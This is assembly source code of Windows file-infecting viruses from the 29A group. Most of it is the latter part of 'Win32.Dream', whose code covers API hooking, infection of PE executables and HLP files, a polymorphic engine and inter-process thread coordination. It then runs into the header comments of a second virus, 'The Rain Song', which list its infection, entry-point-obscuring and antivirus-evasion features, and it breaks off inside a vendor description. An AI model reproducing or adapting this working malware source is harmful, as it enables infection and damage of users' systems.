cmp dword ptr [edx+3],80h
jz finc
mov esi,[edx]
lea esi,[esi+ebx+2]
call fnam
db "CreateFileA",0
fnam:pop edi
fcom:push 12
pop ecx
repe cmpsb
jecxz fapi
finc:inc eax
sub edx,-4
jmp fklp
fapi:shl eax,2
add eax,[esp]
xchg ebx,eax
mov eax,[ebx]
mov ecx,[ebp+cpm_shared_mem-vstart]
mov [ecx+vbody+newCreateFile+1-vstart],eax
lea eax,[ecx+vbody+newCreateFile-vstart]
mov [ebx],eax
pop ecx
ret
ha_failed2:
pop eax
ha_failed:
pop eax
jmp __return
hookapi endp

db " Win32.Dream, (c)oded by Prizzy/29A ",13,10


db " The greetz go to all 29A vx coderz ",13,10

newCreateFile proc
push 80h
oldCreateFile equ $-4
pusha
call $+5
pop ebp
sub ebp,$-vstart-1
mov ebx,[ebp+cpm_shared_mem-vstart]
lea edi,[ebx+vbody+vsize]
mov word ptr [edi-vsize+__return+11-vstart],9090h
mov esi,[esp+7*4+12]
ncfc:lodsb
stosb
or al,al
jnz ncfc
lea edi,[ebx+active]
lea esi,[ebx+process] ;infect_file hProcess, ProcID
lodsd
xchg ebx,eax
lodsd
mov byte ptr [edi],1 ;active thread
push eax 0 1F0FFFh
call [ebp+lpOpenProcess-vstart]
xchg eax,ecx
jecxz ncf_failed
ncfw:push 40 ebx
call [ebp+lpWaitForSingleObject-vstart]
cmp byte ptr [edi],0
jnz ncfw
ncf_failed:
popa
ret
newCreateFile endp

start_thread macro thread


pusha ;threads gdelta
push 80h ;Sleep function
call $+5
pop ebp
sub ebp,$-thread-1
mov esi,[esp+40]
IFE st_count NE 0
if_shared_mem equ $-4
push 80h 0 1F0FFFh
if_parent equ $-11
call [esi+apiz+12*4] ;OpenProcess
xchg eax,esi
xchg eax,ebx
or esi,esi
jnz $ + 11 ;terminate all processes
inc esi
mov [ebx+paramz+(6-1)*4],esi
jmp ifex
push esi
call [ebx+apiz+1*4] ;CloseHandle
mov esi,ebx
ELSE
push 1
pop edi
cmp [esi+paramz+(6-1)*4],edi ;terminate this process?
jnz $ + 4
jmp edi
ENDIF
mov eax,[esi+paramz+(7-1)*4]
test al,1
jz $ + 4
mov al,[eax]
lea edi,[esi+active+st_count]
push edi
cmp byte ptr [edi],0
jz @@end
endm

st_count = 0

end_thread macro thread


st_count = st_count + 1
mov edi,[esp]
mov byte ptr [edi],0
@@end:pop edi eax ;sleep function
call eax, 2
popa ;don't terminate
jmp thread
endm

dw check_infected-infect_file
infect_file proc
start_thread infect_file
lea esi,[ebx+vbody+vsize]
ifex:lodsb
cmp al,'.'
jnz ifex
dec esi
lodsd
or eax,20202020h
mov ebx,[esp+44]
lea edi,[ebx+active+4]
lea esi,[ebx+process+8*4] ;infect_exe hProcess, ProcID
cmp eax,'exe.'
jz if_2
cmp eax,'plh.'
jnz if_failed
if_call_hlp:
sub esi,8 ;infect_hlp
dec edi
if_2:lodsd
push eax
lodsd
mov byte ptr [edi],1 ;active infect_exe (_hlp)
push eax 0 1F0FFFh
call [ebx+apiz+4*12] ;OpenProcess
xchg eax,ecx
jecxz if_failed - 1
if_r:pop eax
push eax 40 eax
call [ebx+apiz+4*13] ;WaitForSingleObject
cmp byte ptr [edi],0
jnz if_r
pop eax
if_failed:
end_thread infect_file
infect_file endp

dw create_infected-check_infected
check_infected proc
start_thread check_infected
xchg ebx,esi
xor esi,esi
cmp [ebx+paramz+(5-1)*4],1
jz ci_nomem

other_process_mem macro shared_mem, param ;get mem from other process


call $ + 7
db "1",0
push 1 4
call [shared_mem+apiz+24*4] ;OpenFileMappingA
xor ecx,ecx
push eax ecx ecx ecx 4 eax
call [shared_mem+apiz+7*4] ;MapViewOfFile
push eax
xchg eax,esi
endm

other_process_mem ebx, 4

ci_nomem:
add esi,[ebx+paramz+(4-1)*4]
mov ecx,[esi-4-tbyte] ;number of the terms in a
or ecx,ecx ;equation
jz ci_failed
cmp ecx,8
jnbe ci_failed
sub esp,128
fsave [esp]
push ecx
imul ecx,-(tbyte+tbyte)
sub ecx,tbyte+tbyte+4+tbyte
lea esi,[esi+ecx] ;data starts here
lea edi,[ebx+vbody+vsize+260]
cmp [ebx+paramz+(5-1)*4],1
jnz $ + 8
lea edi,[ebx+vbody+vsize+260+ci_size/2]
neg ecx
push edi
rep movsb
pop esi ecx
push ecx esi
fld tbyte ptr [esi+tbyte] ;derivation of the equations
fld st(0) ;you'll get two tangents
fld tbyte ptr [esi]
fmul
fld1
fsubp st(2),st
fstp tbyte ptr [esi]
fstp tbyte ptr [esi+tbyte]
sub esi,-(tbyte+tbyte)
loop $ - 21
pop esi ecx
sub esp,tbyte+tbyte
fldz
fldz
fstp tbyte ptr [esp]
fstp tbyte ptr [esp+tbyte]
push esi ecx
imul eax,[esp],tbyte+tbyte ;involution of the equations
fld tbyte ptr [esi]
fld tbyte ptr [esi+tbyte]
fld tbyte ptr [esi+eax+tbyte]
fld tbyte ptr [esi+eax]
fld st(2)
fld st(4)
fxch st(2)
lea edx,[ebp+($+32)-check_infected]
push edx
fyl2x ;over natural logarithm
fld st(0)
frndint
fsubr st(1),st
fxch
fchs
f2xm1
fld1
faddp
fscale
fstp st(1)
fmul
ret
fld tbyte ptr [esp+tbyte+2*dword]
faddp
fstp tbyte ptr [esp+tbyte+2*dword]
call $ - 35 ;we've two points on the curve
fld tbyte ptr [esp+2*dword]
faddp
fstp tbyte ptr [esp+2*dword]
sub esi,-(tbyte+tbyte)
dec dword ptr [esp] ;next term in the equation
jnz $ - 85
pop ecx ecx
fld tbyte ptr [esp+tbyte] ;calculate an angle of the
fld tbyte ptr [esp] ;two tangents of the equation
fld st(1)
fld st(1)
fsub
fxch st(2)
fmul
fld1
fadd
fdiv
fabs
fld1
fpatan
push 180 ;radian -> angle
fimul dword ptr [esp]
fldpi
fdiv
pop eax
sub esp,-(tbyte+tbyte)
mov eax,2*tbyte+dword
cmp dword ptr [ebx+paramz+(5-1)*4],1
jnz $ + 12
sub eax,-(dword-ci_size/2)
fld st(0)
fstp tbyte ptr [esi+eax]
fld tbyte ptr [esi+eax]
fsub
sub esp,tbyte
fstp tbyte ptr [esp]
cmp dword ptr [esp+tbyte-dword],0 ;compare the results
lahf
sub esp,-tbyte
wait
fnrstor [esp]
sub esp,-128
sahf
jnz ci_failed
push 1
pop eax
mov [ebx+paramz+(4-1)*4],eax
jmp ci_finish
ci_failed:
xor eax,eax
mov [ebx+paramz+(4-1)*4],eax
ci_finish:
cmp [ebx+paramz+(5-1)*4],1
jz $ + 8
call [ebx+apiz+8*4] ;UnMapViewOfFile
call [ebx+apiz+1*4] ;CloseHandle
end_thread check_infected
check_infected endp

dw infect_hlp-create_infected
create_infected proc
start_thread create_infected
lea edi,[esi+vbody+vsize+260]
push edi
stosd
call $ + 241 ;number of the terms in a
shr eax,29 ;equation
xchg eax,ecx
inc ecx
push ecx
sub esp,128
fnsave [esp]
call $ + 221 ;generate a multiplier (+/-)
sub edx,edx
mov ebx,100000
div ebx
or edx,edx
jz $ - 16
fld1
rcr eax,1
jc $ + 4
fchs
push edx
fimul dword ptr [esp]
fstp tbyte ptr [edi]
pop edx
sub edi,-tbyte
call $ + 119 ;generate an exponent
loop $ - 41 ;next term in the equation
inc ecx
inc ecx
call $ + 110 ;two points on the curve
loop $ - 5
fnrstor [esp]
sub esp,-128
pop eax
stosd
lea ecx,[edi+tbyte]
sub edi,[esp]
xchg eax,edi
pop edi
stosd
pusha ;calculate an angle, it
mov ebx,esi ;means: call other process
mov [esi+paramz+(4-1)*4],ecx
mov [esi+paramz+(5-1)*4],1
lea edi,[esi+active+1]
lea esi,[esi+process+1*8]
lodsd
push eax
lodsd
mov byte ptr [edi],1
push eax 0 1F0FFFh
call [ebx+apiz+4*12] ;OpenProcess
pop esi
push 40 esi
call [ebx+apiz+4*13] ;WaitForSingleObject
cmp byte ptr [edi],0
jnz $ - 9
popa
mov [esi+paramz+(5-1)*4],0
end_thread create_infected
call $ + 66 ;generate an exponent
sub edx,edx
push 11
pop ebx
div ebx
or edx,edx
jz $-14
push edx
fild dword ptr [esp]
call $+15
dt 3FEB8637BD05AF6C69B6r
pop eax ebx
fld tbyte ptr [eax]
xchg ebx,eax
cdq
call $ + 25
mov ebx,1000000
div ebx
push edx
fimul dword ptr [esp]
fsub
fstp tbyte ptr [edi]
pop eax
sub edi,-tbyte
ret
mov eax,0 ;get a random value
lpGetTickCount equ $-4
call eax
add eax,80h
push ecx 33
pop ecx
add eax,eax
jnc $ + 4
xor al,197
loop $ - 6
mov [ebp+($-16)-create_infected],eax
pop ecx
ret
create_infected endp

dw infect_exe-infect_hlp
infect_hlp proc
start_thread infect_hlp
sub esp,16
sub ebx,ebx
mov word ptr [esi+vbody+__return+11-vstart],02EBh
lea eax,[esi+vbody+vsize]
push ebx 80h 3 ebx ebx 0c0000000h eax
call [esi+apiz+4*0] ;open file
inc eax
jz ih_failed
dec eax
push eax
mov bh,80h
push ebx 40h
mov eax,0
lpGlobalAlloc equ $-4
call eax ;GlobalAlloc
mov [esp+4],eax
xchg eax,esi
push 16
pop ecx
sub edx,edx
call read
jc ih_free
lodsd
cmp eax,35f3fh ;hlp signature
jnz ih_free
lodsd
lea edx,[eax+55] ;directory offset
mov ecx,512
lodsd
lodsd
call read
ih_search:
dec ecx
jz ih_free
cmp dword ptr [esi+ecx],'SYS|'
jnz ih_search
cmp dword ptr [esi+ecx+4],'MET'
jnz ih_search
mov eax,[esi-4]
xchg eax,[esi+ecx+8]
xchg eax,edx
push 21
sub esi,-512
pop ecx
call read
lodsd
push 21
pop ecx
sub eax,ecx
add edx,ecx
mov [esp+4+4],edx
mov [esp+8+4],eax
mov edi,[esp+4]
sub edi,-549
lea esi,[ebp+hlp1_s-infect_hlp]
lea eax,[edi+size-hlp1_s]
mov [esp+12+4],eax
push hlp1_e-hlp1_s
pop ecx
rep movsb
push edi
mov ebx,[esp+40+16+8+4]
lea esi,[ebx+vbody]
push esi
sub esi,-vsize
ih_next:
sub esi,4
mov eax,[esi]
call ihck
or edx,edx
jnz ihex
mov al,68h
stosb
mov eax,[esi]
stosd
jmp ihdn
ihex:mov al,0b8h
stosb
mov eax,[esi]
xor eax,edx
stosd
mov al,53
stosb
mov eax,edx
stosd
mov al,80
stosb
ihdn:cmp [esp],esi
jnz ih_next
jmp ihcn
ihck:call ihcv
jc iha1
sub edx,edx
ret
iha1:mov ebx,eax
ihax:mov eax,ebx
call $+9
dd 12345678h
pop edx
sub [edx],12345678h
org $-4
rnd dd 87654321h
mov edx,[edx]
xor [ebp+rnd-infect_hlp],edx
xor eax,edx
call ihcv
jc ihax
xchg eax,edx
call ihcv
jc ihax
xchg edx,eax
ret
ihcv:pusha
push 4
pop ecx
icva:cmp al,' '
jna icvf
cmp al,0f0h
jnbe icvf
cmp al,'"'
jz icvf
cmp al,"'"
jz icvf
cmp al,"`"
jz icvf
cmp al,"\"
jz icvf
ror eax,8
loop icva
test al,0F9h
icvf equ $-1
popa
ret
ihcn:pop eax eax
mov ecx,edi
sub ecx,eax
sub eax,eax
mov [esi+org_ep-vstart],eax
push ecx
sub ecx, p1-hlp1_e+hlp1_e-hlp2_e
mov eax,[esp+12+4+4]
mov [eax],cx
sub esi,vstart-hlp1_e
push hlp2_sz
pop ecx
rep movsb
pop eax
mov esi,[esp+4] ;buffer
sub esi,-528
sub eax,hlp1_s-hlp2_e-21
mov [esi],eax
add [esi+4],eax
mov esi,edi
mov edx,[esp+4+4]
mov ecx,[esp+8+4]
sub eax,ecx
jna ih_free
call read
cmp [esi+4],"`(RR" ;already infected?
jz ih_free
mov ebx,[esp+4]
lea ecx,[edi+eax]
sub ecx,ebx
sub ecx,528
mov eax,[esp+4]
sub eax,-528
mov edx,[eax]
sub edx,ecx
sub [eax],edx
mov edx,[ebx+12]
lea esi,[ebx+528]
call write
mov esi,[esp+4]
push 16
add [esi+12],ecx
sub edx,edx
pop ecx
call write
mov edx,[esi+4]
sub edx,-55
mov ecx,512
sub esi,-16
call write
jmp ih_free

spos:pusha
sub eax,eax
push eax eax edx dword ptr [esp+4*5+8*4]
mov eax,0
lpSetFilePointer equ $-4
call eax
popa
ret
read:call spos
pusha
sub eax,eax
push ecx eax
call $+9
r_ts:dd ?
push ecx esi dword ptr [esp+4*6+8*4]
mov eax,0
lpReadFile equ $-4
call eax
pop ecx
cmp dword ptr [ebp+r_ts-infect_hlp],ecx
jnz $+3
test al,0F9h
popa
ret
write:call spos
pusha
sub eax,eax
push eax
lea ebx,[ebp+r_ts-infect_hlp]
push ebx ecx esi dword ptr [esp+4*5+8*4]
mov eax,[esp+4*5+8*4+4+16+8+40] ;ou! what does it mean :) ?
call [eax+apiz+4*10]
popa
ret

hlp1_s=$
dw 4
dw offset label1-$-2
db "RR(`USER32.DLL',`EnumWindows',`SU')",0
label1=$
dw 4
size dw 0
p1 = $
db "EnumWindows(`"
hlp1_e= $
jmp esp
db "',0)",0
hlp2_e = $
hlp2_sz=hlp2_e-hlp1_e

ih_free:
mov esi,[esp+40+16+4+4]
call [esi+apiz+4*1] ;CloseHandle
mov eax,0
lpGlobalFree equ $-4
call eax
ih_failed:
sub esp,-12
end_thread infect_hlp
infect_hlp endp

dw poly_engine-infect_exe
infect_exe proc
start_thread infect_exe
sub ebx,ebx
lea eax,[esi+vbody+vsize]
push ebx 80h 3 ebx ebx 0c0000000h eax
call [esi+apiz+4*0] ;CreateFileA
inc eax
jz ie_failed
dec eax
push eax ebx eax
mov eax,0
lpGetFileSize equ $-4
call eax
cmp eax,4096
jc ie_close
cmp eax,104857600
jnbe ie_close
mov [ebp+fsize-infect_exe],eax
call $ + 7
db "1",0
push ebx ebx 2 ebx dword ptr [esp+4*5]
call [esi+apiz+4*6] ;CreateFileMappingA
or eax,eax
jz ie_close
push eax ebx ebx ebx 4 eax
call [esi+apiz+28] ;MapViewOfFile
or eax,eax
jz ie_mclose
push eax
cmp word ptr [eax],'ZM'
jnz ie_unmap
cmp word ptr [eax+MZ_crlc],bx
jz ie_tested
cmp word ptr [eax+MZ_lfarlc],64
jc ie_unmap
ie_tested:
mov edi,[eax+MZ_lfanew]
add edi,eax
cmp dword ptr [edi],4550h
jnz ie_unmap
mov eax,[esp+4]
mov [esi+paramz+(3-1)*4],eax
mov eax,[ebp+fsize-infect_exe]
mov [esi+paramz+(4-1)*4],eax

call other_process, 1 ;active check_infected process

cmp [esi+paramz+(4-1)*4],1
jz ie_unmap

call other_process, 2 ;active create_infected process

mov ax,[edi+NT_FileHeader.FH_Characteristics]
test ax,IMAGE_FILE_EXECUTABLE_IMAGE
jz ie_unmap
test ax,IMAGE_FILE_DLL
jnz ie_unmap
movzx ecx,[edi+NT_FileHeader.FH_NumberOfSections]
dec ecx
or ecx,ecx
jz ie_unmap
imul eax,ecx,IMAGE_SIZEOF_SECTION_HEADER
movzx edx,[edi+NT_FileHeader.FH_SizeOfOptionalHeader]
mov [ebp+ie_section-infect_exe],eax
lea ebx,[edx+edi+NT_OptionalHeader.OH_Magic]
add ebx,eax
mov eax,[ebx+SH_SizeOfRawData]
push eax
add eax,[ebx+SH_VirtualAddress]
lea ecx,[esi+vbody+inf_ep-vstart]
mov [ecx],eax
mov eax,[edi+NT_OptionalHeader.OH_AddressOfEntryPoint]
mov [ecx+5+6],eax

call other_process, 5 ;active poly_engine process

pop eax
add eax,[ebx+SH_PointerToRawData]
add eax,[esi+paramz+4*0]
add eax,dword ptr [esi+vbody+vsize+260]
mov ecx,[edi+NT_OptionalHeader.OH_FileAlignment]
add eax,ecx
cdq
dec eax
div ecx
mul ecx
mov [ebp+align_d-infect_exe],eax
call [esi+apiz+4*8] ;UnMapViewOfFile
call [esi+apiz+4*1] ;CloseHandle
sub ebx,ebx
call $ + 7
db "1",0
align_d equ $+1
push 80h ebx 4 ebx dword ptr [esp+4*5]
call [esi+apiz+4*6] ;CreateFileMappingA
push eax ebx ebx ebx 2 eax
call [esi+apiz+4*7] ;thx2 Bumblebee for his help
push eax
add eax,[eax.MZ_lfanew]
xchg eax,edi
mov ebx,0
ie_section equ $-4
movzx edx,[edi+NT_FileHeader.FH_SizeOfOptionalHeader]
lea eax,[edx+edi+NT_OptionalHeader.OH_Magic]
movzx ecx,[edi+NT_FileHeader.FH_NumberOfSections]
add eax,ebx
ie_change_flag:
or [eax.SH_Characteristics],IMAGE_SCN_MEM_WRITE
sub eax,IMAGE_SIZEOF_SECTION_HEADER
loop ie_change_flag
lea eax,[edx+edi+NT_OptionalHeader.OH_Magic]
add ebx,eax
mov eax,[esi+vbody+inf_ep-vstart]
mov [edi+NT_OptionalHeader.OH_AddressOfEntryPoint],eax
pusha
mov ecx,[esi+paramz+4*0]
mov [esp+7*4],ecx
mov edi,[ebx+SH_SizeOfRawData]
add [esp+7*4],edi
add edi,[ebx+SH_PointerToRawData]
add edi,[esp+7*4+4]
lea esi,[esi+vbody+vsize+260+ci_size] ;poly vbody
rep movsb
popa
mov eax,[esi+paramz+4*0]
add eax,[ebx+SH_SizeOfRawData]
mov ecx,[edi+NT_OptionalHeader.OH_FileAlignment]
add eax,ecx
cdq
dec eax
div ecx
mul ecx
mov [ebx+SH_SizeOfRawData],eax
push eax
mov eax,[ebx+SH_VirtualSize]
add eax,vsize+68
mov ecx,[edi+NT_OptionalHeader.OH_SectionAlignment]
add eax,ecx
cdq
dec eax
div ecx
mul ecx
pop ecx
cmp eax,ecx
jnc ie_1
mov eax,ecx
ie_1:mov [ebx+SH_VirtualSize],eax
add eax,[ebx+SH_VirtualAddress]
cmp eax,[edi+NT_OptionalHeader.OH_SizeOfImage]
jc ie_2
mov [edi+NT_OptionalHeader.OH_SizeOfImage],eax
ie_2:or dword ptr [ebx+SH_Characteristics], \
IMAGE_SCN_CNT_CODE or IMAGE_SCN_MEM_EXECUTE or \
IMAGE_SCN_MEM_WRITE
.if dword ptr [edi+NT_OptionalHeader.OH_CheckSum] != 0
mov eax,0
fsize equ $-4
add eax,[esi+paramz+(1-1)*4]
mov [esi+paramz+(2-1)*4],eax

call other_process, 6 ;active checksum process

mov eax,[esi+paramz+(4-1)*4]
mov [edi+NT_OptionalHeader.OH_CheckSum],eax
.endif

push esi
mov edi,[ebp+align_d-infect_exe]
add edi,[esp+4]
lea esi,[esi+vbody+vsize+260]
lodsd
sub eax,4-tbyte
sub edi,eax
xchg eax,ecx
rep movsb
pop esi
ie_unmap:
call [esi+apiz+4*8] ;UnMapViewOfFile
ie_mclose:
call [esi+apiz+4*1] ;CloseHandle
ie_close:
call [esi+apiz+4*1] ;CloseHandle
ie_failed:
end_thread infect_exe

other_process proc
pusha
mov ecx,[esp+36]
mov ebx,esi
lea edi,[esi+active+ecx]
lea esi,[esi+process+ecx*8]
lodsd
push eax
lodsd
mov byte ptr [edi],1
push eax 0 1F0FFFh
call [ebx+apiz+4*12] ;OpenProcess
pop esi
push 40 esi
call [ebx+apiz+4*13] ;WaitForSingleObject
cmp byte ptr [edi],0
jnz $ - 9
popa
ret 4
other_process endp

infect_exe endp

dw checksum-poly_engine
poly_engine proc
start_thread poly_engine
mov ebx,esi
lea esi,[ebx+vbody+vsize]
lea edi,[esi+260+ci_size]
push ebx edi
sub ecx,ecx
mov edx,vsize / 2

mov eax,0E8h
stosd
mov eax,242C8300h
stosd
mov al,5
stosb
@@a:call random
test al,1
jnz @@b
cmp edx,1
jz @@v
sub esi,4
push esi
lodsd
call @@1_a
pop esi
dec edx
jmp @@k
@@b:test al,2
jnz @@c
@@v:dec esi
dec esi
push esi
lodsw
inc ecx
call @@1_a
pop esi
sub cl,cl
jmp @@k
@@c:test al,4
jnz @@e
call @@1 ;push random value DWORD
jc $+7
call @@2
jmp @@l
@@e:inc ecx ;push random value WORD
call @@1
jc $+7
call @@2
sub cl,cl
jmp $+5
@@k:dec edx
jz $+4
@@l:jmp @@a
mov ax,0E4FFh
stosw
jmp pe_failed
@@1:call random ;push random value
test al,1
jnz @@1_d
@@1_a:xchg eax,ebx ;push certain value
@@1_b:jecxz @@1_c ;push WORD
mov al,66h
stosb
@@1_c:call @@3_a
test al,0F9h
@@1_d equ $-1
ret
@@2:call random ;POP reg32 or ADD ESP,4
test al,1
jnz @@2_b
and al,7
cmp al,4
jz @@2
or al,al
jz @@2
jecxz @@2_a
xchg eax,ebx
mov al,66h
stosb
xchg ebx,eax
@@2_a:add al,58h
stosb
ret
@@2_b:mov ax,0C483h
stosw
mov al,4
jecxz @@2_c
mov al,2
@@2_c:stosb
ret
@@3:xchg eax,ebx ;push certain value in EAX
@@3_a:mov al,68h ; in EBX
stosb
xchg eax,ebx
jecxz @@3_b
stosw
ret
@@3_b:stosd
ret

random:
mov eax,0BFF71234h
push ecx 33
pop ecx
@@r:add eax,eax
jnc $+4
xor al,197
loop @@r
mov [ebp+random+1-poly_engine],eax
pop ecx
ret

pe_failed:
pop ecx ebx
sub edi,ecx
mov [ebx+paramz+4*0],edi
end_thread poly_engine
poly_engine endp
dw k32_addrs-checksum
checksum proc
start_thread checksum
xchg ebx,esi

other_process_mem ebx 3 ;get mem from other process

mov ecx,[ebx+paramz+(2-1)*4]
sub edx,edx
shr ecx,1
@@1:lodsw
mov edi,0FFFFh
and eax,edi
add edx,eax
mov eax,edx
and edx,edi
shr eax,10h
add edx,eax
loop @@1
mov eax,edx
shr eax,10h
add ax,dx
add eax,[ebp+4]
mov [ebx+paramz+(4-1)*4],eax
call [ebx+apiz+8*4] ;UnMapViewOfFile
call [ebx+apiz+1*4] ;CloseHandle
end_thread checksum
checksum endp

k32_addrs equ this byte


x equ <vstart->
dw x lpCreateFile
dw x lpCloseHandle
dw x lpCreateMutexA
dw x lpGetLastError
dw x lpReleaseMutex
dw x lpExitProcess
dw x lpCreateFileMappingA
dw x lpMapViewOfFile
dw x lpUnMapViewOfFile
dw x lpGetSystemDirectory
dw x lpWriteFile
dw x lpCreateProcessA
dw x lpOpenProcess
dw x lpWaitForSingleObject
dw x lpRegisterServiceProcess
dw x lpGetFileSize
dw x lpGlobalAlloc
dw x lpGlobalFree
dw x lpReadFile
dw x lpSetFilePointer
dw x lpSetErrorMode
dw x lpGetCurrentProcessId
dw x lpGetVersion
dw x lpGetTickCount
dw x malloc+63
dw x malloc+51
dw x malloc+106
dw x infect_file-2
count equ ($-k32_addrs)/2

k32_crcs equ this byte


dd 08C892DDFh ;CreateFileA
dd 068624A9Dh ;CloseHandle
dd 020B943E7h ;CreateMutexA
dd 087D52C94h ;GetLastError
dd 0C449CF4Eh ;ReleaseMutexA
dd 040F57181h ;ExitProcess
dd 096B2D96Ch ;CreateFileMappingA
dd 0797B49ECh ;MapViewOfFile
dd 094524B42h ;UnMapViewOfFile
dd 0593AE7CEh ;GetSystemDirectoryA
dd 021777793h ;WriteFile
dd 0267E0B05h ;CreateProcessA
dd 033D350C4h ;OpenProcess
dd 0D4540229h ;WaitForSingleObject
dd 05F31BC8Eh ;RegisterServiceProcess
dd 0EF7D811Bh ;GetFileSize
dd 083A353C3h ;GlobalAlloc
dd 05CDF6B6Ah ;GlobalFree
dd 054D8615Ah ;ReadFile
dd 085859D42h ;SetFilePointer
dd 0A2EB817Bh ;SetErrorMode
dd 0EB1CE85Ch ;GetCurrentProcessId
dd 042F13D06h ;GetVersion
dd 0613FD7BAh ;GetTickCount
dd 041D64912h ;OpenFileMappingA
dd 0797B49ECh ;MapViewOfFile (other address)
dd 019F33607h ;CreateThread
dd 00AC136BAh ;Sleep
dd 0

process_maps equ this byte


dw x infect_file
dw x check_infected
dw x create_infected
dw x infect_hlp
dw x infect_exe
dw x poly_engine
dw x checksum
p_number equ ($-process_maps)/2
dw x malloc+95

process_memory struc
thandle dd 0 ;returned thread handle by dropper
th_mempos dd 0 ;thread body memory position
process dd p_number dup (0,0) ;hProcess (Wait), ProcessID (Open)
apiz dd count-2 dup (0) ;all API functionz without two last
active db p_number dup (0) ;active process (=function) ?
paramz dd 8 dup (0) ;process parameters
vbody db vsize dup (0) ;virus body (poly, valuez)
; filename dd 260 dup (0) ;name of file (opening, etc)
ci_size equ 2*16*(tbyte+tbyte) ;check_infected fpu buffer
; cinfected db ci_size dup(0)
; poly_vbody equ this byte
; ** This is Tasm32 bug, cannot asm through const->proc + dup
ends

align 4
file_end:
db 68 dup(0)

mem_end:
push 401000h
sub esp,vsize
jmp vstart
fgx:db "E:\X_WIN\ABCD.EXE",0
fg0:mov edx,offset fgx
sub eax,eax
push eax 80h 3 eax eax 0c0000000h edx
call CreateFileA

push 0 0
call fg1
db "Win32.Dream - welcome to my world...",0
fg1:call fg2
db "First generation sample",0
fg2:push 0
call MessageBoxA
call ExitProcess

;ÄÄÄ´ end of virus ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


end mem_end
;
; ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
; ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
; The Rain Song ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
; Coded by Bumblebee/29a ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
; ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
; ³ Words from the author ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
; . The best way to code a virus: listening Led Zeppelin (i'm not so
; old, but the best is ever good ;). And in the time i was coding this
; bug i became hooked again by the Dr. Asimov. 'Pelude to Foundation'
; it's the book. Here in spain the books are going even more expensive,
; but there are cheap editions of Asimov's work (about 6 Euros). The
; name of the virus is from the amazing song by Led Zeppelin, of coz.
; But the payload is a little tribute to Isaac Asimov. Very little.
; This virus triggers its payload in the death date of Asimov.
; May be you're interested in sci-fi, or just looking for a good book to
; evade yourself from reality, there are some titles i love (this could
; be a nice order to read them):
;
; Basics about the Foundation:
;
; Foundation
; Foundation and Empire
; Second Foundation
;
; This books could be readed before or after the basics:
;
; Prelude to Foundation
; Forward the Foundation
;
; It's true the titles say nothing about the book contents. hehehe. This
; is Asimov ;) I feel you'll like them. Books made me be a bit as i am.
; There is nothing that makes you more as you are that those things you
; choose to ignore. Hey! take that ;)
;
; . This is my first per-process virus and also my first virus with EPO.
; Don't spect too much of it. It isn't anything you haven't seen before,
; but with Bumblebee style. May be you're thinking in this way asm32 is
; going more and more close to macro coding (hi ya urgo32!). I'm not
; here for the money ;) Only for fun. And fun is not ever innovate...
; If you think this virus is worth less releasing let me know!
;
; ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
; ³ Disclaimer ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
; . This is the source code of a VIRUS. The author is not responsabile
; of any damage that may occur due to the assembly of this file. Use
; it at your own risk.
;
; ÚÄÄÄÄÄÄÄÄÄÄ¿
; ³ Features ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÀÄÄÄÄÄÄÄÄÄÄÙ
; . Works under win32 systems:
; Windows 9x
; Windows Nt
; Windows 2000
; Future versions?
; . Uses SEH during scan kernel process. If the virus gets control from
; EPO i test 1st for the last used address and if fails i test using the
; Win9x, WinNt and Win2k fixed kernel addresses. In this case it could
; not work in future versions of win32. But if i can rely in the stack i
; hope it will work also if the kernel changes its address.
; . Gets needed API scanning kernel32.dll in memory using CRC32 instead
; of names.
; . Infects PE files increasing last section.
; . Increases virtual size the amount of bytes needed to have memory for
; temporary data. (virt size>phys size)
; . Takes care of relocations in execution time.
; . Uses size padding as infection sign.
; . Avoids infect most used AV.
; . Per-process resident hooking:
; CreateFileA
; MoveFileA
; CopyFileA
; CreateProcessA
; SetFileAttributesA
; GetFileAttributesA
; SearchPathA
; . Gets the path from the hooked calls to the APIs and infects the
; files found in the directory.
; . Has a runtime part that infects files in windows directory.
; . Infects PE with the extension EXE and SCR.
; . It has 2 layers of encryption. First polymorphic and second a simple
; not loop. This is due to 1st layer uses 32 bits key and i don't want
; bytes unencrypted.
; . Has EPO (Entry Point Obscuring) tech patching a call into the code
; section of the infected program. Supports also the more standard way
; of patching PE header, but avoids it if possible trying to do light
; EPO adding a jmp to the virus at the end of the original code section.
;
;
; AVP Description ÄÄ[comments]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Win32.Rainsong
;
;This is a dangerous per-process memory resident parasitic polymorphic
;Win32 virus. It searches for PE EXE files (Windows executable files) in
;Windows directory and infects them. Then it stays in Windows memory as a
;component of host application and affects PE EXE files that are accessed
;by host application.
;
;While infecting the virus writes itself to the end of the file by increasing
;the size of last file section. The virus uses "Entry Point Obscuring" methods
;and while infecting it does not modify program's entry address. To receive
;control when infected program is run, the virus scans victim file body, looks
;for a CALL command and replaces it with "JUMP VirusEntry" code. As a result
